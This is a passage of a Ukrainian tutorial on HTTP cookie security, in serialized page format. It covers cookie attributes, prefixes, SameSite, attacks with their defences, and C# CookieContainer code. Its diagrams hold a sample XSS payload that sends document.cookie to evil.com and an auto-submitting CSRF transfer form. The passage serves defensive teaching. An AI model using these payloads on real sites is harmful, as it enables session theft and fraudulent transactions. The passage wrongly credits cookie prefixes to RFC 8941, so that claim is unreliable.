samesite\n",[3433,3880,3881],{"class":3435,"line":3632},[3433,3882,3883],{},"  Strict \u002F Lax \u002F None.\n",[3433,3885,3886],{"class":3435,"line":3637},[3433,3887,3888],{},"  Захист від CSRF.\n",[3433,3890,3891],{"class":3435,"line":3642},[3433,3892,3534],{},[3433,3894,3896],{"class":3435,"line":3895},38,[3433,3897,3458],{"emptyLinePlaceholder":3457},[3433,3899,3901],{"class":3435,"line":3900},39,[3433,3902,3645],{},[3317,3904,3905,3906,3908],{},"Повний приклад заголовку ",[3430,3907,3666],{},":",[3423,3910,3914],{"className":3911,"code":3912,"language":3913,"meta":3428,"style":3428},"language-http shiki shiki-themes light-plus dark-plus dark-plus","Set-Cookie: session=abc123xyz; Domain=.example.com; Path=\u002F; Max-Age=3600; Secure; HttpOnly; SameSite=Lax\n","http",[3430,3915,3916],{"__ignoreMap":3428},[3433,3917,3918,3921,3924],{"class":3435,"line":3436},[3433,3919,3666],{"class":3920},"sKtos",[3433,3922,3908],{"class":3923},"su1O8",[3433,3925,3927],{"class":3926},"sbdoH"," session=abc123xyz; Domain=.example.com; Path=\u002F; Max-Age=3600; Secure; HttpOnly; SameSite=Lax\n",[3929,3930,3931,3937,3946,3961,3982,3996,4005,4017,4051,4055,4066,4121,4144,4152,4170,4174,4192,4213,4312,4328,4332,4443,4454],"field-group",{},[3932,3933,3936],"field",{"name":3934,"type":3935},"Name=Value","string (обов'язково)","Ім'я та значення cookie. Ім'я не може містити спеціальні символи (пробіли, коми, крапки з комою). Значення може бути довільним рядком, але на практиці обмежується ~4096 байтами.",[3932,3938,3941,3942,3945],{"name":3939,"type":3940},"Domain","string","Домен, для якого дійсний cookie. ",[3430,3943,3944],{},"Domain=.example.com"," — для всіх піддоменів (api.example.com, shop.example.com). Якщо не вказано — лише для поточного хоста (без піддоменів).",[3932,3947,3949,3950,3953,3954,3957,3958,3670],{"name":3948,"type":3940},"Path","URL-шлях, для якого надсилається cookie. ",[3430,3951,3952],{},"Path=\u002F"," — для всього сайту. ",[3430,3955,3956],{},"Path=\u002Fadmin"," — лише для запитів до ",[3430,3959,3960],{},"\u002Fadmin\u002F*",[3932,3962,3965,3966,3969,3970,3973,3974,3977,3978,3981],{"name":3963,"type":3964},"Max-Age","секунди","Час життя cookie у секундах. ",[3430,3967,3968],{},"Max-Age=3600"," — 1 година. ",[3430,3971,3972],{},"Max-Age=0"," — негайне видалення. Має пріоритет над ",[3430,3975,3976],{},"Expires",". Якщо не вказано — ",[3321,3979,3980],{},"session cookie",": видаляється при закритті браузера.",[3932,3983,3985,3986,3988,3989,3992,3993,3995],{"name":3976,"type":3984},"HTTP-date","Альтернатива ",[3430,3987,3963],{},": абсолютна дата закінчення. ",[3430,3990,3991],{},"Expires=Thu, 01 Jan 2026 00:00:00 GMT",". Застаріла альтернатива ",[3430,3994,3963],{},", але широко підтримується.",[3932,3997,4000,4001,4004],{"name":3998,"type":3999},"Secure","flag","Cookie надсилається ",[3321,4002,4003],{},"лише через HTTPS",". Критично важливо для будь-яких cookies, що містять чутливі дані (session ID, токени). У HTTP-з'єднанні такий cookie ігнорується.",[3932,4006,4008,4009,4012,4013,4016],{"name":4007,"type":3999},"HttpOnly","Cookie ",[3321,4010,4011],{},"недоступний"," через JavaScript (",[3430,4014,4015],{},"document.cookie","). Захищає від атак XSS (Cross-Site Scripting): навіть якщо зловмисник впровадив скрипт на сторінку, він не зможе вкрасти session cookie.",[3932,4018,4021,4028],{"name":4019,"type":4020},"SameSite","Strict | Lax | None",[3317,4022,4023,4024,4027],{},"Контролює, чи надсилається cookie при ",[3321,4025,4026],{},"cross-site"," запитах (захист від CSRF):",[3686,4029,4030,4036,4042],{},[3689,4031,4032,4035],{},[3430,4033,4034],{},"Strict"," — лише при навігації з того самого сайту (максимальний захист)",[3689,4037,4038,4041],{},[3430,4039,4040],{},"Lax"," — дозволяє при top-level навігації (GET), блокує при cross-site POST (баланс)",[3689,4043,4044,4047,4048,4050],{},[3430,4045,4046],{},"None; Secure"," — завжди (для сторонніх виджетів, потребує ",[3430,4049,3998],{},")\n::",[3654,4052,4054],{"id":4053},"cookie-префікси-примусова-безпека","Cookie-префікси: примусова безпека",[3317,4056,4057,4058,4061,4062,4065],{},"RFC 8941 визначає ",[3321,4059,4060],{},"Cookie Prefixes"," — конвенцію іменування, що дозволяє браузеру ",[3321,4063,4064],{},"примусово"," перевіряти атрибути безпеки при встановленні cookie. Якщо атрибути не відповідають вимогам префіксу, браузер відхиляє cookie.",[3346,4067,4068,4081],{},[3349,4069,4070],{},[3352,4071,4072,4075,4078],{},[3355,4073,4074],{},"Префікс",[3355,4076,4077],{},"Обов'язкові атрибути",[3355,4079,4080],{},"Призначення",[3368,4082,4083,4098],{},[3352,4084,4085,4090,4095],{},[3373,4086,4087],{},[3430,4088,4089],{},"__Secure-",[3373,4091,4092,4094],{},[3430,4093,3998],{}," + доставка лише по HTTPS",[3373,4096,4097],{},"Захист від downgrade атак",[3352,4099,4100,4105,4118],{},[3373,4101,4102],{},[3430,4103,4104],{},"__Host-",[3373,4106,4107,4109,4110,4109,4112,4115,4116],{},[3430,4108,3998],{}," + ",[3430,4111,3952],{},[3321,4113,4114],{},"без"," ",[3430,4117,3939],{},[3373,4119,4120],{},"Прив'язка до конкретного хоста",[3423,4122,4124],{"className":3911,"code":4123,"language":3913,"meta":3428,"style":3428},"Set-Cookie: __Secure-token=abc123; Secure; SameSite=Lax\nSet-Cookie: __Host-session=xyz; Secure; Path=\u002F; SameSite=Lax; HttpOnly\n",[3430,4125,4126,4135],{"__ignoreMap":3428},[3433,4127,4128,4130,4132],{"class":3435,"line":3436},[3433,4129,3666],{"class":3920},[3433,4131,3908],{"class":3923},[3433,4133,4134],{"class":3926}," __Secure-token=abc123; Secure; SameSite=Lax\n",[3433,4136,4137,4139,4141],{"class":3435,"line":3442},[3433,4138,3666],{"class":3920},[3433,4140,3908],{"class":3923},[3433,4142,4143],{"class":3926}," __Host-session=xyz; Secure; Path=\u002F; SameSite=Lax; HttpOnly\n",[3317,4145,4146,4148,4149,3670],{},[3430,4147,4104],{}," — найбезпечніший варіант для session cookies: неможливо передати на піддомен, неможливо встановити без HTTPS, завжди для кореневого шляху ",[3430,4150,4151],{},"\u002F",[4153,4154,4155,4156,4158,4159,4162,4163,4166,4167,3670],"tip",{},"Для всіх session cookies використовуйте ",[3430,4157,4104],{}," префікс. Це запобігає атаці ",[3321,4160,4161],{},"cookie tossing"," — коли зловмисник, що контролює піддомен ",[3430,4164,4165],{},"evil.example.com",", встановлює cookie для батьківського домену ",[3430,4168,4169],{},"example.com",[3654,4171,4173],{"id":4172},"samesite-у-деталях","SameSite у деталях",[3317,4175,4176,4177,4180,4181,4184,4185,4187,4188,4191],{},"Важливе розрізнення: ",[3321,4178,4179],{},"site"," ≠ ",[3321,4182,4183],{},"origin",". ",[3430,4186,4019],{}," перевіряє ",[3321,4189,4190],{},"реєстрований домен"," (eTLD+1), а не повний origin.",[3317,4193,4194,4197,4198,4201,4202,4205,4206,4208,4209,4212],{},[3430,4195,4196],{},"https:\u002F\u002Fapp.example.com"," та ",[3430,4199,4200],{},"https:\u002F\u002Fapi.example.com"," — це ",[3321,4203,4204],{},"same-site"," (обидва ",[3430,4207,4169],{},"), але ",[3321,4210,4211],{},"cross-origin"," (різні піддомени).",[3346,4214,4215,4229],{},[3349,4216,4217],{},[3352,4218,4219,4222,4224,4226],{},[3355,4220,4221],{},"Сценарій запиту",[3355,4223,4034],{},[3355,4225,4040],{},[3355,4227,4228],{},"None",[3368,4230,4231,4243,4255,4273,4287,4301],{},[3352,4232,4233,4236,4239,4241],{},[3373,4234,4235],{},"Top-level навігація GET (клік по посиланню)",[3373,4237,4238],{},"✅",[3373,4240,4238],{},[3373,4242,4238],{},[3352,4244,4245,4248,4251,4253],{},[3373,4246,4247],{},"Top-level навігація POST (submit форми)",[3373,4249,4250],{},"❌",[3373,4252,4250],{},[3373,4254,4238],{},[3352,4256,4257,4267,4269,4271],{},[3373,4258,4259,4260,4263,4264],{},"Cross-site ",[3430,4261,4262],{},"\u003Cimg src=...>",", ",[3430,4265,4266],{},"\u003Cscript src=...>",[3373,4268,4250],{},[3373,4270,4250],{},[3373,4272,4238],{},[3352,4274,4275,4281,4283,4285],{},[3373,4276,4259,4277,4280],{},[3430,4278,4279],{},"fetch()"," \u002F XHR",[3373,4282,4250],{},[3373,4284,4250],{},[3373,4286,4238],{},[3352,4288,4289,4295,4297,4299],{},[3373,4290,4291,4294],{},[3430,4292,4293],{},"\u003Ciframe>"," cross-site",[3373,4296,4250],{},[3373,4298,4250],{},[3373,4300,4238],{},[3352,4302,4303,4306,4308,4310],{},[3373,4304,4305],{},"Same-site будь-який",[3373,4307,4238],{},[3373,4309,4238],{},[3373,4311,4238],{},[4313,4314,4315,4115,4318,4321,4322,4324,4325,4327],"caution",{},[3430,4316,4317],{},"SameSite=None",[3321,4319,4320],{},"вимагає"," атрибут ",[3430,4323,3998],{},". Без нього браузери (Chrome 80+) відхиляють cookie. Також ",[3430,4326,4317],{}," дозволяє cross-site запити — використовуйте лише для сторонніх виджетів (iframe, кросдоменні API).",[3654,4329,4331],{"id":4330},"атаки-на-cookies-та-механізми-захисту","Атаки на cookies та механізми захисту",[4333,4334,4335],"accordion",{},[4336,4337,4339,4350],"accordion-item",{"icon":2903,"label":4338},"XSS: крадіжка session cookie через JavaScript",[3317,4340,4341,4344,4345,4347,4348,3670],{},[3321,4342,4343],{},"Cross-Site Scripting (XSS)"," — впровадження шкідливого JavaScript на сторінку жертви через вразливе поле (коментарі, профіль, параметр URL). Якщо cookie не захищений ",[3430,4346,4007],{},", зловмисник читає його через ",[3430,4349,4015],{},[3420,4351,4352],{},[3423,4353,4355],{"className":3425,"code":4354,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nactor \"Жертва\" as victim\nparticipant \"Вразливий сайт\\nexample.com\" as site #fce4ec\nparticipant \"Сервер зловмисника\\nevil.com\" as evil #ef9a9a\n\nvictim -> site : GET \u002Fpage (сторінка з впровадженим скриптом)\nsite --> victim : \u003Cscript>\\n  new Image().src=\\n  'https:\u002F\u002Fevil.com\u002Fsteal?c='\\n  +document.cookie\\n\u003C\u002Fscript>\nvictim -> evil : GET \u002Fsteal?c=session=abc123\n\nnote right of evil\n  Зловмисник отримав\n  session=abc123 і може\n  діяти від імені жертви\nend note\n\n@enduml\n",[3430,4356,4357,4361,4365,4369,4373,4378,4383,4388,4392,4397,4402,4407,4411,4416,4421,4426,4431,4435,4439],{"__ignoreMap":3428},[3433,4358,4359],{"class":3435,"line":3436},[3433,4360,3439],{},[3433,4362,4363],{"class":3435,"line":3442},[3433,4364,3445],{},[3433,4366,4367],{"class":3435,"line":3448},[3433,4368,3451],{},[3433,4370,4371],{"class":3435,"line":3454},[3433,4372,3458],{"emptyLinePlaceholder":3457},[3433,4374,4375],{"class":3435,"line":3461},[3433,4376,4377],{},"actor \"Жертва\" as victim\n",[3433,4379,4380],{"class":3435,"line":3467},[3433,4381,4382],{},"participant \"Вразливий сайт\\nexample.com\" as site #fce4ec\n",[3433,4384,4385],{"class":3435,"line":3473},[3433,4386,4387],{},"participant \"Сервер зловмисника\\nevil.com\" as evil #ef9a9a\n",[3433,4389,4390],{"class":3435,"line":3479},[3433,4391,3458],{"emptyLinePlaceholder":3457},[3433,4393,4394],{"class":3435,"line":3484},[3433,4395,4396],{},"victim -> site : GET \u002Fpage (сторінка з впровадженим скриптом)\n",[3433,4398,4399],{"class":3435,"line":3490},[3433,4400,4401],{},"site --> victim : \u003Cscript>\\n  new Image().src=\\n  'https:\u002F\u002Fevil.com\u002Fsteal?c='\\n  +document.cookie\\n\u003C\u002Fscript>\n",[3433,4403,4404],{"class":3435,"line":3496},[3433,4405,4406],{},"victim -> evil : GET \u002Fsteal?c=session=abc123\n",[3433,4408,4409],{"class":3435,"line":3502},[3433,4410,3458],{"emptyLinePlaceholder":3457},[3433,4412,4413],{"class":3435,"line":3508},[3433,4414,4415],{},"note right of evil\n",[3433,4417,4418],{"class":3435,"line":3513},[3433,4419,4420],{},"  Зловмисник отримав\n",[3433,4422,4423],{"class":3435,"line":3519},[3433,4424,4425],{},"  session=abc123 і може\n",[3433,4427,4428],{"class":3435,"line":3525},[3433,4429,4430],{},"  діяти від імені жертви\n",[3433,4432,4433],{"class":3435,"line":3531},[3433,4434,3534],{},[3433,4436,4437],{"class":3435,"line":3537},[3433,4438,3458],{"emptyLinePlaceholder":3457},[3433,4440,4441],{"class":3435,"line":3542},[3433,4442,3645],{},[3317,4444,4445,4115,4448,4450,4451,4453],{},[3321,4446,4447],{},"Захист:",[3430,4449,4007],{}," атрибут повністю блокує доступ до cookie через ",[3430,4452,4015],{},". Навіть при наявності XSS-вразливості зловмисник не зможе прочитати HttpOnly cookie.",[3317,4455,4456],{},"Також: Content-Security-Policy (CSP) обмежує виконання inline-скриптів і завантаження ресурсів із сторонніх джерел.",[4336,4458,4461,4471,4582,4586],{"icon":4459,"label":4460},"i-lucide-shield-alert","CSRF: підроблений запит від авторизованого користувача",[3317,4462,4463,4466,4467,4470],{},[3321,4464,4465],{},"Cross-Site Request Forgery (CSRF)"," — змушує браузер жертви надіслати автентифікований запит до цільового сайту. Браузер автоматично додає cookies до ",[3321,4468,4469],{},"будь-якого"," запиту на відповідний домен, незалежно від ініціатора.",[3420,4472,4473],{},[3423,4474,4476],{"className":3425,"code":4475,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nactor \"Жертва\\n(залогінена у банку)\" as victim\nparticipant \"Шкідлива сторінка\\nevil.com\" as evil #fce4ec\nparticipant \"Банк API\\nbank.com\" as bank #e8f5e9\n\nvictim -> evil : GET \u002Fprize.html\nevil --> victim : \u003Cform action=\"https:\u002F\u002Fbank.com\u002Ftransfer\"\\n  method=\"POST\">\\n  \u003Cinput name=\"to\" value=\"evil\">\\n  \u003Cinput name=\"amount\" value=\"5000\">\\n\u003C\u002Fform>\\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n\nvictim -> bank : POST \u002Ftransfer\\n  to=evil&amount=5000\\n  Cookie: session=abc123 (автоматично!)\n\nnote right of bank\n  Сервер бачить валідну сесію.\n  Не може відрізнити CSRF\n  від легітимного запиту\n  без CSRF-токена.\nend note\n\nbank -> bank : 💸 Виконати переказ 5000₴\n\n@enduml\n",[3430,4477,4478,4482,4486,4490,4494,4499,4504,4509,4513,4518,4523,4527,4532,4536,4541,4546,4551,4556,4561,4565,4569,4574,4578],{"__ignoreMap":3428},[3433,4479,4480],{"class":3435,"line":3436},[3433,4481,3439],{},[3433,4483,4484],{"class":3435,"line":3442},[3433,4485,3445],{},[3433,4487,4488],{"class":3435,"line":3448},[3433,4489,3451],{},[3433,4491,4492],{"class":3435,"line":3454},[3433,4493,3458],{"emptyLinePlaceholder":3457},[3433,4495,4496],{"class":3435,"line":3461},[3433,4497,4498],{},"actor \"Жертва\\n(залогінена у банку)\" as victim\n",[3433,4500,4501],{"class":3435,"line":3467},[3433,4502,4503],{},"participant \"Шкідлива сторінка\\nevil.com\" as evil #fce4ec\n",[3433,4505,4506],{"class":3435,"line":3473},[3433,4507,4508],{},"participant \"Банк API\\nbank.com\" as bank #e8f5e9\n",[3433,4510,4511],{"class":3435,"line":3479},[3433,4512,3458],{"emptyLinePlaceholder":3457},[3433,4514,4515],{"class":3435,"line":3484},[3433,4516,4517],{},"victim -> evil : GET \u002Fprize.html\n",[3433,4519,4520],{"class":3435,"line":3490},[3433,4521,4522],{},"evil --> victim : \u003Cform action=\"https:\u002F\u002Fbank.com\u002Ftransfer\"\\n  method=\"POST\">\\n  \u003Cinput name=\"to\" value=\"evil\">\\n  \u003Cinput name=\"amount\" value=\"5000\">\\n\u003C\u002Fform>\\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n",[3433,4524,4525],{"class":3435,"line":3496},[3433,4526,3458],{"emptyLinePlaceholder":3457},[3433,4528,4529],{"class":3435,"line":3502},[3433,4530,4531],{},"victim -> bank : POST \u002Ftransfer\\n  to=evil&amount=5000\\n  Cookie: session=abc123 (автоматично!)\n",[3433,4533,4534],{"class":3435,"line":3508},[3433,4535,3458],{"emptyLinePlaceholder":3457},[3433,4537,4538],{"class":3435,"line":3513},[3433,4539,4540],{},"note right of bank\n",[3433,4542,4543],{"class":3435,"line":3519},[3433,4544,4545],{},"  Сервер бачить валідну сесію.\n",[3433,4547,4548],{"class":3435,"line":3525},[3433,4549,4550],{},"  Не може відрізнити CSRF\n",[3433,4552,4553],{"class":3435,"line":3531},[3433,4554,4555],{},"  від легітимного запиту\n",[3433,4557,4558],{"class":3435,"line":3537},[3433,4559,4560],{},"  без CSRF-токена.\n",[3433,4562,4563],{"class":3435,"line":3542},[3433,4564,3534],{},[3433,4566,4567],{"class":3435,"line":3548},[3433,4568,3458],{"emptyLinePlaceholder":3457},[3433,4570,4571],{"class":3435,"line":3554},[3433,4572,4573],{},"bank -> bank : 💸 Виконати переказ 5000₴\n",[3433,4575,4576],{"class":3435,"line":3560},[3433,4577,3458],{"emptyLinePlaceholder":3457},[3433,4579,4580],{"class":3435,"line":3565},[3433,4581,3645],{},[3317,4583,4584],{},[3321,4585,4447],{},[3686,4587,4588,4597,4603],{},[3689,4589,4590,4593,4594,4596],{},[3430,4591,4592],{},"SameSite=Lax"," або ",[3430,4595,4034],{}," — найефективніший захист на рівні cookies",[3689,4598,4599,4602],{},[3321,4600,4601],{},"CSRF-токен"," — прихований токен у формі, що перевіряється сервером (для старих браузерів без SameSite)",[3689,4604,4605,4151,4608,4611],{},[3430,4606,4607],{},"Origin",[3430,4609,4610],{},"Referer"," заголовки перевірка — додатковий захист",[4336,4613,4616,4623,4631],{"icon":4614,"label":4615},"i-lucide-lock","Session Fixation: фіксація сесії зловмисником",[3317,4617,4618,4619,4622],{},"Зловмисник встановлює жертві ",[3321,4620,4621],{},"відомий йому"," session ID ще до аутентифікації. Після того, як жертва логіниться з цим ID, зловмисник використовує ту саму сесію.",[3423,4624,4629],{"className":4625,"code":4627,"language":4628},[4626],"language-text","1. Зловмисник: GET \u002F  → отримує session=known_id\n2. Зловмисник надсилає жертві:\n   https:\u002F\u002Fbank.com\u002Flogin?session=known_id\n3. Жертва переходить, логіниться\n4. Сервер НЕ змінює session ID → сесія known_id тепер авторизована\n5. Зловмисник: GET \u002Faccount, Cookie: session=known_id → має повний доступ!\n","text",[3430,4630,4627],{"__ignoreMap":3428},[3317,4632,4633,4115,4635,4638,4639,4642],{},[3321,4634,4447],{},[3321,4636,4637],{},"Завжди генерувати новий session ID після успішного логіну"," (",[3430,4640,4641],{},"RegenerateId()","). Це єдине ефективне рішення — зробити ID, відомий зловмиснику, непридатним після аутентифікації.",[4336,4644,4647,4657,4671,4678],{"icon":4645,"label":4646},"i-lucide-alert-triangle","Cookie Tossing: атака з підконтрольного піддомену",[3317,4648,4649,4650,4652,4653,4656],{},"Якщо зловмисник контролює будь-який піддомен (",[3430,4651,4165],{},"), він може встановити cookie для батьківського домену ",[3430,4654,4655],{},".example.com",", перезаписавши легітимний session cookie.",[3423,4658,4660],{"className":3911,"code":4659,"language":3913,"meta":3428,"style":3428},"Set-Cookie: session=malicious; Domain=.example.com; Path=\u002F\n",[3430,4661,4662],{"__ignoreMap":3428},[3433,4663,4664,4666,4668],{"class":3435,"line":3436},[3433,4665,3666],{"class":3920},[3433,4667,3908],{"class":3923},[3433,4669,4670],{"class":3926}," session=malicious; Domain=.example.com; Path=\u002F\n",[3317,4672,4673,4674,4677],{},"Браузер перешле цей cookie на ",[3430,4675,4676],{},"bank.example.com"," поруч із легітимним. Якщо сервер бере перший cookie без перевірки, він обробить шкідливий.",[3317,4679,4680,4115,4682,4684],{},[3321,4681,4447],{},[3430,4683,4104],{}," префікс: cookie прив'язується до конкретного хоста, і браузер відхиляє його встановлення з будь-якого піддомену.",[4336,4686,4689,4692,4698],{"icon":4687,"label":4688},"i-lucide-wifi-off","Session Hijacking: перехоплення session ID",[3317,4690,4691],{},"При передачі cookie по незашифрованому HTTP зловмисник у тій самій мережі (публічний Wi-Fi) може перехопити session ID через packet sniffing.",[3423,4693,4696],{"className":4694,"code":4695,"language":4628},[4626],"Жертва: GET http:\u002F\u002Fexample.com\u002F Cookie: session=abc123\nЗловмисник (Wi-Fi) перехоплює: session=abc123\nЗловмисник: GET \u002Faccount Cookie: session=abc123 → доступ!\n",[3430,4697,4695],{"__ignoreMap":3428},[3317,4699,4700,4115,4702,4704,4705,4708],{},[3321,4701,4447],{},[3430,4703,3998],{}," атрибут — браузер надсилає cookie виключно по HTTPS. HSTS — примусова HTTPS-навігація (навіть якщо користувач вводить ",[3430,4706,4707],{},"http:\u002F\u002F",").",[3317,4710,4711],{},"::",[3647,4713],{},[3312,4715,4717],{"id":4716},"cookies-у-c","Cookies у C#",[3654,4719,4721],{"id":4720},"читання-та-встановлення-cookies","Читання та встановлення cookies",[4723,4724,4725,5277,5847],"tabs",{},[4726,4727,4729],"tabs-item",{"label":4728},"HttpClient + CookieContainer",[3423,4730,4735],{"className":4731,"code":4732,"language":4733,"meta":4734,"style":3428},"language-csharp shiki shiki-themes light-plus dark-plus dark-plus","using System.Net;\nusing System.Net.Http;\nusing System.Net.Http.Json;\n\n\u002F\u002F CookieContainer автоматично зберігає і надсилає cookies\nvar cookieContainer = new CookieContainer();\nvar handler = new HttpClientHandler\n{\n    CookieContainer = cookieContainer,\n    UseCookies = true\n};\n\nusing var client = new HttpClient(handler)\n{\n    BaseAddress = new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\")\n};\n\n\u002F\u002F httpbingo.org\u002Fcookies\u002Fset — встановлює cookie через 302-редирект\n\u002F\u002F CookieContainer автоматично слідує за редиректом і зберігає Set-Cookie\n\u002F\u002F GET \u002Fcookies\u002Fset?session=abc123xyz → 302 Location:\u002Fcookies + Set-Cookie: session=abc123xyz; HttpOnly\nHttpResponseMessage loginResponse = await client.GetAsync(\"cookies\u002Fset?session=abc123xyz\");\nloginResponse.EnsureSuccessStatusCode();\n\n\u002F\u002F Переглянемо отримані cookies\nIEnumerable\u003CCookie> cookies = cookieContainer.GetCookies(\n    new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\")\n);\n\nforeach (Cookie cookie in cookies)\n{\n    Console.WriteLine($\"Cookie: {cookie.Name}={cookie.Value}\");\n    Console.WriteLine($\"  HttpOnly: {cookie.HttpOnly}\");\n    Console.WriteLine($\"  Secure:   {cookie.Secure}\");\n    Console.WriteLine($\"  Expires:  {cookie.Expires}\");\n    Console.WriteLine($\"  Domain:   {cookie.Domain}\");\n}\n\n\u002F\u002F 2. Наступний запит — CookieContainer автоматично надішле Cookie header\n\u002F\u002F httpbingo.org\u002Fcookies повертає {\"cookies\":{\"session\":\"abc123xyz\"}}\nHttpResponseMessage profileResponse = await client.GetAsync(\"cookies\");\n\u002F\u002F Заголовок Cookie: session=abc123xyz буде додано автоматично\n","csharp","showLineNumbers",[3430,4736,4737,4756,4773,4794,4798,4804,4825,4839,4844,4857,4867,4872,4876,4902,4906,4925,4929,4933,4938,4943,4948,4977,4989,4993,4998,5026,5039,5043,5047,5067,5071,5120,5147,5174,5201,5228,5232,5236,5241,5246,5271],{"__ignoreMap":3428},[3433,4738,4739,4743,4747,4750,4753],{"class":3435,"line":3436},[3433,4740,4742],{"class":4741},"s8xlr","using",[3433,4744,4746],{"class":4745},"sN1BT"," System",[3433,4748,3670],{"class":4749},"sHH4Y",[3433,4751,4752],{"class":4745},"Net",[3433,4754,4755],{"class":4749},";\n",[3433,4757,4758,4760,4762,4764,4766,4768,4771],{"class":3435,"line":3442},[3433,4759,4742],{"class":4741},[3433,4761,4746],{"class":4745},[3433,4763,3670],{"class":4749},[3433,4765,4752],{"class":4745},[3433,4767,3670],{"class":4749},[3433,4769,4770],{"class":4745},"Http",[3433,4772,4755],{"class":4749},[3433,4774,4775,4777,4779,4781,4783,4785,4787,4789,4792],{"class":3435,"line":3448},[3433,4776,4742],{"class":4741},[3433,4778,4746],{"class":4745},[3433,4780,3670],{"class":4749},[3433,4782,4752],{"class":4745},[3433,4784,3670],{"class":4749},[3433,4786,4770],{"class":4745},[3433,4788,3670],{"class":4749},[3433,4790,4791],{"class":4745},"Json",[3433,4793,4755],{"class":4749},[3433,4795,4796],{"class":3435,"line":3454},[3433,4797,3458],{"emptyLinePlaceholder":3457},[3433,4799,4800],{"class":3435,"line":3461},[3433,4801,4803],{"class":4802},"spJ8K","\u002F\u002F CookieContainer автоматично зберігає і надсилає cookies\n",[3433,4805,4806,4809,4813,4816,4819,4822],{"class":3435,"line":3467},[3433,4807,4808],{"class":3923},"var",[3433,4810,4812],{"class":4811},"siwwj"," cookieContainer",[3433,4814,4815],{"class":4749}," = ",[3433,4817,4818],{"class":3923},"new",[3433,4820,4821],{"class":4745}," CookieContainer",[3433,4823,4824],{"class":4749},"();\n",[3433,4826,4827,4829,4832,4834,4836],{"class":3435,"line":3473},[3433,4828,4808],{"class":3923},[3433,4830,4831],{"class":4811}," handler",[3433,4833,4815],{"class":4749},[3433,4835,4818],{"class":3923},[3433,4837,4838],{"class":4745}," HttpClientHandler\n",[3433,4840,4841],{"class":3435,"line":3479},[3433,4842,4843],{"class":4749},"{\n",[3433,4845,4846,4849,4851,4854],{"class":3435,"line":3484},[3433,4847,4848],{"class":4811},"    CookieContainer",[3433,4850,4815],{"class":4749},[3433,4852,4853],{"class":4811},"cookieContainer",[3433,4855,4856],{"class":4749},",\n",[3433,4858,4859,4862,4864],{"class":3435,"line":3490},[3433,4860,4861],{"class":4811},"    UseCookies",[3433,4863,4815],{"class":4749},[3433,4865,4866],{"class":3923},"true\n",[3433,4868,4869],{"class":3435,"line":3496},[3433,4870,4871],{"class":4749},"};\n",[3433,4873,4874],{"class":3435,"line":3502},[3433,4875,3458],{"emptyLinePlaceholder":3457},[3433,4877,4878,4880,4883,4886,4888,4890,4893,4896,4899],{"class":3435,"line":3508},[3433,4879,4742],{"class":4741},[3433,4881,4882],{"class":3923}," var",[3433,4884,4885],{"class":4811}," client",[3433,4887,4815],{"class":4749},[3433,4889,4818],{"class":3923},[3433,4891,4892],{"class":4745}," HttpClient",[3433,4894,4895],{"class":4749},"(",[3433,4897,4898],{"class":4811},"handler",[3433,4900,4901],{"class":4749},")\n",[3433,4903,4904],{"class":3435,"line":3513},[3433,4905,4843],{"class":4749},[3433,4907,4908,4911,4913,4915,4918,4920,4923],{"class":3435,"line":3519},[3433,4909,4910],{"class":4811},"    BaseAddress",[3433,4912,4815],{"class":4749},[3433,4914,4818],{"class":3923},[3433,4916,4917],{"class":4745}," Uri",[3433,4919,4895],{"class":4749},[3433,4921,4922],{"class":3926},"\"https:\u002F\u002Fhttpbingo.org\u002F\"",[3433,4924,4901],{"class":4749},[3433,4926,4927],{"class":3435,"line":3525},[3433,4928,4871],{"class":4749},[3433,4930,4931],{"class":3435,"line":3531},[3433,4932,3458],{"emptyLinePlaceholder":3457},[3433,4934,4935],{"class":3435,"line":3537},[3433,4936,4937],{"class":4802},"\u002F\u002F httpbingo.org\u002Fcookies\u002Fset — встановлює cookie через 302-редирект\n",[3433,4939,4940],{"class":3435,"line":3542},[3433,4941,4942],{"class":4802},"\u002F\u002F CookieContainer автоматично слідує за редиректом і зберігає Set-Cookie\n",[3433,4944,4945],{"class":3435,"line":3548},[3433,4946,4947],{"class":4802},"\u002F\u002F GET \u002Fcookies\u002Fset?session=abc123xyz → 302 Location:\u002Fcookies + Set-Cookie: session=abc123xyz; HttpOnly\n",[3433,4949,4950,4953,4956,4958,4961,4963,4965,4969,4971,4974],{"class":3435,"line":3554},[3433,4951,4952],{"class":4745},"HttpResponseMessage",[3433,4954,4955],{"class":4811}," loginResponse",[3433,4957,4815],{"class":4749},[3433,4959,4960],{"class":3923},"await",[3433,4962,4885],{"class":4811},[3433,4964,3670],{"class":4749},[3433,4966,4968],{"class":4967},"s8Opu","GetAsync",[3433,4970,4895],{"class":4749},[3433,4972,4973],{"class":3926},"\"cookies\u002Fset?session=abc123xyz\"",[3433,4975,4976],{"class":4749},");\n",[3433,4978,4979,4982,4984,4987],{"class":3435,"line":3560},[3433,4980,4981],{"class":4811},"loginResponse",[3433,4983,3670],{"class":4749},[3433,4985,4986],{"class":4967},"EnsureSuccessStatusCode",[3433,4988,4824],{"class":4749},[3433,4990,4991],{"class":3435,"line":3565},[3433,4992,3458],{"emptyLinePlaceholder":3457},[3433,4994,4995],{"class":3435,"line":3570},[3433,4996,4997],{"class":4802},"\u002F\u002F Переглянемо отримані cookies\n",[3433,4999,5000,5003,5006,5008,5011,5014,5016,5018,5020,5023],{"class":3435,"line":3576},[3433,5001,5002],{"class":4745},"IEnumerable",[3433,5004,5005],{"class":4749},"\u003C",[3433,5007,3662],{"class":4745},[3433,5009,5010],{"class":4749},"> ",[3433,5012,5013],{"class":4811},"cookies",[3433,5015,4815],{"class":4749},[3433,5017,4853],{"class":4811},[3433,5019,3670],{"class":4749},[3433,5021,5022],{"class":4967},"GetCookies",[3433,5024,5025],{"class":4749},"(\n",[3433,5027,5028,5031,5033,5035,5037],{"class":3435,"line":3582},[3433,5029,5030],{"class":3923},"    